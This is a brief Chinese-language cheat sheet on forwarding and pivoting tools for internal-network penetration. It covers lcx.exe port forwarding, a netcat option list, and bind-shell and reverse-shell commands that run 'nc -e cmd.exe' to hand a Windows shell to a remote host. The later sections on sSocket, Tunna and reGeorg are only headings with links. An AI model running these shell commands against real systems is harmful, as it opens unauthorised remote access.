**内网渗透中转发工具**

监听；转发；端口转向

http://static.hx99.net/static/drops/tools-15000.html

**0x00 lcx.exe**

例如：转发 lcx.exe –slave 公网ip 端口 内网ip 端口

监听lcx.exe –listen 内网监听的端口 转发的外网端口

0x01 nc (正向连接，方向连接)

[options]   
-d        后台模式   
-e prog        程序重定向，一旦连接，就执行 [危险!!]   
-l        监听模式，用于入站连接   
-L        连接关闭后,仍然继续监听   
-n        直接使用IP地址，而不通过域名服务器。   
-p <端口>    设置本地主机使用的通信端口。   
-s <源ip地址>    设置本地主机送出数据包的IP地址。   
-t        使用TELNET交互方式   
-u        使用UDP传输协议。   
-v        详细输出（用两个-v可得到更详细的内容）   
-w <超时秒数>    设置等待连线的时间,即指定多少秒后，断开。   
-z        使用0输入/输出模式，只在扫描通信端口时使用。

**正向连接**

远程主机：nc -l –p 监听的端口 –e cmd.exe

本地主机：nc –nvv 远程主机ip 端口

**反向连接**

本地主机：nc -l –p 监听的端口

远程主机：nc -e cmd.exe 本地主机ip 监听的端口

# 0x02 sSocket

下载地址：<https://sourceforge.net/projects/ssocks/>

# 0x03 Tunna 正向代理

# http://static.hx99.net/static/drops/tools-650.html

# 0x04 reGeorg+proxifier 正向代理